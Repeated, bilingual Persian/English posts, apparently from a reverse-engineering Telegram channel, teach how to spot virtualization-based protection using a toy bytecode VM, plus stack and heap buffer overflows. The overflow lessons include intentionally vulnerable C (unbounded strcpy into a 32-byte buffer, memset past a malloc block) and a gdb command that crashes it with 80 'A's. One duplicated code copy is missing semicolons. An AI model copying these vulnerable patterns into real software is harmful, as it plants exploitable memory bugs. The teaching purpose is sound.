hexdump/strings/entropy برای پیدا کردن دادههای بایت کد
نوشتن اسکریپت ساده Python برای pattern matching توی باینری
ساخت یک VM ساده کد نمونه C
این کد یه برنامه خیلی ساده میسازه که یه رشته رو چک میکنه اما به جای اینکه مستقیم cmp کنه اول یه بایت کد ساده درست میکنه و بعد یه مفسر که اونو اجرا کنه این کار شبیهسازی یه virtualizer سطح پایینه و برای تمرین خیلی خوبه
نمونه کد کپی کنید و روی ماشین توسعه/VM خودتون کامپایل کنید
vm.c
کامپایل:
آنالیز استاتیک:
strings simple_vm
رو اجرا کنید و ببینید رشته ها کجا هستن
فایل رو توی IDA/Ghidra باز کنید دنبال تابع run_vm بگردید توی دیس اسمبل میبینید یه حلقه با switch/case و داده prog[] این همون dispatcher/binary bytecode هست
آنالیز داینامیک:
فایل رو با x64dbg باز کنید یک breakpoint بذارید روی run_vm یا روی آدرس آرایه prog
برنامه رو با ورودیهای مختلف اجرا کنید و ببینید چطور مسیر dispatcher تغییر میکنه
هدف اینه که بفهمید کجا بایتکدها هستن dispatcher چطوری براشون کار میکنه و منطق مقایسه کجاست
تشخیص VM:
dispatcher loop جدول بایت کد در دادهها فراخوانی مکرر مفسر
چجوری از استاتیک و داینامیک با هم استفاده میکنیم: استاتیک بایت کد رو پیدا میکنه داینامیک نشون میده runtime چه اتفاقی میوفته
devirtualization:
هدف اولی شناسایی dispatcher و داده بایت کد و مستند سازی منطق اجراست بعد میشه بایت کدها رو استخراج و معنی شون رو بازسازی کرد
Virtualization-based protection
Some protectors convert the source code into bytecode and embed an interpreter/VM inside the program to execute this bytecode, making direct disassembly pointless or difficult
How do we tell if a binary is virtualized?
A large dispatcher loop, a long loop that selects a branch depending on the value of a variable
Many functions or blocks have calls to an interpreter/dispatcher function instead of regular ASM
A large bytecode table or strange data in the .rdata/.data section.
Strange flow control and unusual branches that are not understandable in disassembly
Execution speed of functions is much lower than native code because it is interpreted
Useful tools for diagnostics and analysis:
IDA / Ghidra to see patterns and dispatcher
x64dbg runtime
@reverseengine
بعضی محافظ ها کد اصلی رو تبدیل میکنن به یه بایت کد و یه مفسر/VM داخل برنامه میذارن که این بایت کد رو اجرا کنه این باعث میشه دیساسمبل مستقیم بی معنی یا سخت باشه
چطوری تشخیص بدیم یه باینری virtualized هست؟
وجود یه لوپ dispatcher بزرگ یک حلقه طولانی که بسته به مقدارِ یه متغیر شاخه رو انتخاب میکنه
خیلی از توابع یا بلاک ها به جای ASM معمولی فراخوانی هایی به یه مفسر/تابع dispatcher دارن
حجم زیادی از جدول بایت کد یا داده های عجیب داخل بخش .rdata/.data.
کنترل جریان عجیب و شاخه های نامعمول که توی دیساسمبل قابل فهم نیستن
سرعت اجرای توابع نسبت به کد نِیِتیو خیلی پایینتر چون مفسره
ابزارای مفید برای تشخیص و آنالیز:
IDA / Ghidra برای دیدن الگوها و dispatcher
x64dbg runtime
پیدا کردن جایی که dispatcher اجرا میشه
hexdump/strings/entropy برای پیدا کردن دادههای بایت کد
نوشتن اسکریپت ساده Python برای pattern matching توی باینری
ساخت یک VM ساده کد نمونه C
این کد یه برنامه خیلی ساده میسازه که یه رشته رو چک میکنه اما به جای اینکه مستقیم cmp کنه اول یه بایت کد ساده درست میکنه و بعد یه مفسر که اونو اجرا کنه این کار شبیهسازی یه virtualizer سطح پایینه و برای تمرین خیلی خوبه
نمونه کد کپی کنید و روی ماشین توسعه/VM خودتون کامپایل کنید
vm.c
#include <stdio.h>
#include <string.h>
#include <stdint.h>
uint8_t prog[] = {
0x01, /* LOAD_INPUT */
0x10, /* expect length (16) or unused */
0x02, /* CMP_CONST */
'1','2','3','4',0, /* const "1234" + null */
0x03 /* HALT/END */
};
int run_vm(const char *input) {
int ip = 0;
while (ip < sizeof(prog)) {
uint8_t op = prog[ip++];
switch (op) {
case 0x01: // LOAD_INPUT -- store pointer (no-op for this demo)
// nothing to do; in real vm you'd load bytes to vm memory
break;
case 0x02: { // CMP_CONST
const char *c = (const char*)&prog[ip];
ip += 5; // length of constant in this toy example
if (strcmp(input, c) == 0) return 1;
break;
}
case 0x03:
return 0;
default:
return 0;
}
}
return 0;
}
int main(int argc, char **argv) {
if (argc < 2) { printf("usage: %s <pass>\n", argv[0]); return 0; }
if (run_vm(argv[1])) printf("Access granted\n");
else printf("Access denied\n");
return 0;
}
کامپایل:
gcc simple_vm.c -o simple_vm
آنالیز استاتیک:
strings simple_vm
رو اجرا کنید و ببینید رشته ها کجا هستن
فایل رو توی IDA/Ghidra باز کنید دنبال تابع run_vm بگردید توی دیس اسمبل میبینید یه حلقه با switch/case و داده prog[] این همون dispatcher/binary bytecode هست
آنالیز داینامیک:
فایل رو با x64dbg باز کنید یک breakpoint بذارید روی run_vm یا روی آدرس آرایه prog
برنامه رو با ورودیهای مختلف اجرا کنید و ببینید چطور مسیر dispatcher تغییر میکنه
هدف اینه که بفهمید کجا بایتکدها هستن dispatcher چطوری براشون کار میکنه و منطق مقایسه کجاست
تشخیص VM:
dispatcher loop جدول بایت کد در دادهها فراخوانی مکرر مفسر
چجوری از استاتیک و داینامیک با هم استفاده میکنیم: استاتیک بایت کد رو پیدا میکنه داینامیک نشون میده runtime چه اتفاقی میوفته
devirtualization:
هدف اولی شناسایی dispatcher و داده بایت کد و مستند سازی منطق اجراست بعد میشه بایت کدها رو استخراج و معنی شون رو بازسازی کرد
Virtualization-based protection
Some protectors convert the source code into bytecode and embed an interpreter/VM inside the program to execute this bytecode, making direct disassembly pointless or difficult
How do we tell if a binary is virtualized?
A large dispatcher loop, a long loop that selects a branch depending on the value of a variable
Many functions or blocks have calls to an interpreter/dispatcher function instead of regular ASM
A large bytecode table or strange data in the .rdata/.data section.
Strange flow control and unusual branches that are not understandable in disassembly
Execution speed of functions is much lower than native code because it is interpreted
Useful tools for diagnostics and analysis:
IDA / Ghidra to see patterns and dispatcher
x64dbg runtime
@reverseengine
❤1
Find where dispatcher is executed
hexdump/strings/entropy to find bytecode data
Write a simple Python script for pattern matching in binary
Build a simple VM Sample C code
This code creates a very simple program that checks a string, but instead of cmp directly, it first creates a simple bytecode and then an interpreter to execute it. This is a low-level simulation of a virtualizer and is very good for practice
Copy the sample code and compile it on your development machine/VM
vm.c
Compile:
Static analysis:
Run strings simple_vm
and see where the strings are
Open the file in IDA/Ghidra and look for the function run_vm. In the disassembler you will see a loop with switch/case and data prog[] this is the dispatcher/binary bytecode
Dynamic analysis:
Open the file with x64dbg and set a breakpoint on run_vm or on the address of the array prog
Run the program with different inputs and see how the dispatcher path changes
The goal is to understand where the bytecodes are, how the dispatcher works for them and where the comparison logic is
VM detection:
dispatcher loop bytecode table in data repeated calls to the interpreter
How do we use static and dynamic together: static finds the bytecode dynamic shows the runtime what is happening It turns out
devirtualization:
The first goal is to identify the dispatcher and data bytecodes and document the execution logic. Then the bytecodes can be extracted and their meaning reconstructed.
@reverseengine
hexdump/strings/entropy to find bytecode data
Write a simple Python script for pattern matching in binary
Build a simple VM Sample C code
This code creates a very simple program that checks a string, but instead of cmp directly, it first creates a simple bytecode and then an interpreter to execute it. This is a low-level simulation of a virtualizer and is very good for practice
Copy the sample code and compile it on your development machine/VM
vm.c
#include <stdio.h>
#include <string.h>
#include <stdint.h>
uint8_t prog[] = {
0x01, /* LOAD_INPUT */
0x10, /* expect length (16) or unused */
0x02, /* CMP_CONST */
'1','2','3','4',0, /* const "1234" + null */
0x03 /* HALT/END */
};
int run_vm(const char *input) {
int ip = 0;
while (ip < sizeof(prog)) {
uint8_t op = prog[ip++];
switch (op) {
case 0x01: // LOAD_INPUT -- store pointer (no-op for this demo)
// nothing to do; in real vm you'd load bytes to vm memory
break
case 0x02: { // CMP_CONST
const char *c = (const char*)&prog[ip];
ip += 5; // length of constant in this toy example
if (strcmp(input, c) == 0) return 1;
break
}
case 0x03:
return 0;
default:
return 0;
}
}
return 0;
}
int main(int argc, char **argv) {
if (argc < 2) { printf("usage: %s <pass>\n", argv[0]); return 0; }
if (run_vm(argv[1])) printf("Access granted\n");
else printf("Access denied\n");
return 0;
}
Compile:
gcc simple_vm.c -o simple_vm
Static analysis:
Run strings simple_vm
and see where the strings are
Open the file in IDA/Ghidra and look for the function run_vm. In the disassembler you will see a loop with switch/case and data prog[] this is the dispatcher/binary bytecode
Dynamic analysis:
Open the file with x64dbg and set a breakpoint on run_vm or on the address of the array prog
Run the program with different inputs and see how the dispatcher path changes
The goal is to understand where the bytecodes are, how the dispatcher works for them and where the comparison logic is
VM detection:
dispatcher loop bytecode table in data repeated calls to the interpreter
How do we use static and dynamic together: static finds the bytecode dynamic shows the runtime what is happening It turns out
devirtualization:
The first goal is to identify the dispatcher and data bytecodes and document the execution logic. Then the bytecodes can be extracted and their meaning reconstructed.
@reverseengine
❤4
بخش سوم بافر اور فلو
تفاوت های مهم بین استک هیپ و خطاهای off by one رو بررسی میکنیم
توضیح stack overflow
استک جاییه که فریم تابع ها قرار میگیره و معمولا بافر های محلی اینجا ساخته میشن
استک overflow زمانی رخ میده که نوشته های بیش از اندازه به بافر محلی برسن و بخش هایی مثل saved rbp و saved return address رو بازنویسی کنه
در عمل این نوع باعث کرش سریع میشه و معمولا به صورت overwrite روی فریم جاری قابل مشاهده هست
توضیح کد استک
در این کد یک تابع بافر محلی داره و با strcpy مقدار وارد شده رو کپی میکنه
دیدن کرش و بررسی saved return address در gdb هست
کد استک فایل stack.c
#include <stdio.h>
#include <string.h>
void vuln(char *s) {
char buf[32];
printf("inside vuln\n");
strcpy(buf, s);
printf("buf says %s\n", buf);
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage stack input\n");
return 1;
}
vuln(argv[1]);
printf("returned normally\n");
return 0;
}
دستورات اجرا و دیباگ مربوط به استک
این دستورات رو اجرا کنید تا کرش و فریم رو ببینید
gcc -g stack.c -o stack
gdb --args ./stack $(python3 -c "print('A'*80)")
داخل gdb
break vuln
run
info frame
x/40gx $rbp
backtrace
Part Three Buffer Overflow
We examine important differences between stack, heap, and off‑by‑one errors
Explanation stack overflow
The stack is where function frames are placed and local buffers are usually allocated
A stack overflow occurs when writes exceed a local buffer and overwrite areas like saved rbp and the saved return address
In practice this type causes a fast crash and is usually visible as an overwrite on the current frame
Explanation stack code
In this code a function has a local buffer and uses strcpy to copy the supplied input
You will see the crash and inspect the saved return address in gdb
Stack source file stack.c
#include <stdio.h>
#include <string.h>
void vuln(char *s) {
char buf[32];
printf("inside vuln\n");
strcpy(buf, s);
printf("buf says %s\n", buf);
}
int main(int argc, char **argv) {
if (argc < 2) {
printf("usage stack input\n");
return 1;
}
vuln(argv[1]);
printf("returned normally\n");
return 0;
}
Commands to build and debug the stack
Run these commands to see the crash and inspect the frame
gcc -g stack.c -o stack
gdb --args ./stack $(python3 -c "print('A'*80)")
Inside gdb
break vuln
run
info frame
x/40gx $rbp
backtrace
@reverseengine
❤3
بخش چهارم بافر اورفلو
توضیح heap overflow
هیپ جایی که برای تخصیص حافظه پویا با malloc calloc یا new
heap overflow زمانی رخ میده که داده ای زیاد در بلاک های heap نوشته بشه
متادیتای allocator یا بلاک های همجوار رو خراب میکنه
خطاهای heap معمولا با کرش در توابع libc یا هنگام free کردن حافظه دیده میشن و ردگیری اونها با tools مثل valgrind یا heap debugger مفیده
کد هیپ
در این کد یک بلوک روی heap اختصاص داده شده و بعد با memset مقدار بیشتری از اندازه نوشته میشه
هدف دیدن خطا در زمان free یا گزارش valgrind هست
کد هیپ فایل any_heap.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *p = malloc(32);
if (!p) return 1;
printf("allocated 32 bytes on heap\n");
/* intentionally overflow the heap block for any_heap
do not use this pattern in real code */
memset(p, 'A', 64);
free(p);
printf("freed block\n");
return 0;
}
دستورات اجرا و بررسی heap
از valgrind یا malloc debug استفاده کنید تا متادیتا یا خطاها رو ببینید
gcc -g any_heap.c -o any_heap
valgrind --leak-check=full ./
any_heap
# یا اجرا در محیطی با malloc debug فعال
نکات که هنگام نوشتن کد باید بدونیم خطاهای هیپ ممکنه فوری کرش نکنن و اغلب در زمان free یا عملیات بعدی ظاهر میشن
از ابزارهایی مثل valgrind یا malloc debug برای ردگیری استفاده کنید
Part 4 Buffer Overflow
Heap Overflow Explanation
Heap where to allocate dynamic memory with malloc calloc or new
Heap overflow occurs when too much data is written to heap blocks
Corrupts allocator metadata or adjacent blocks
Heap errors are usually seen with crashes in libc functions or when freeing memory and are useful to trace with tools like valgrind or heap debugger
Heap Code
In this code, a block is allocated on the heap and then written with memset more than the size
The goal is to see the error at free time or in valgrind reports
Heap Code File any_heap.c:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char *p = malloc(32);
if (!p) return 1;
printf("allocated 32 bytes on heap\n");
/* intentionally overflow the heap block for any_heap
do not use this pattern in real code */
memset(p, 'A', 64);
free(p);
printf("freed block\n");
return 0;
}
Heap execution and inspection commands
Use valgrind or malloc debug to see metadata or errors
gcc -g any_heap.c -o any_heap
valgrind --leak-check=full ./
any_heap
# or run in an environment with malloc debug enabled
Things to know when writing code Heap errors may not crash immediately and often appear during free or subsequent operations
Use tools like valgrind or malloc debug for tracing
@reverseengine
❤1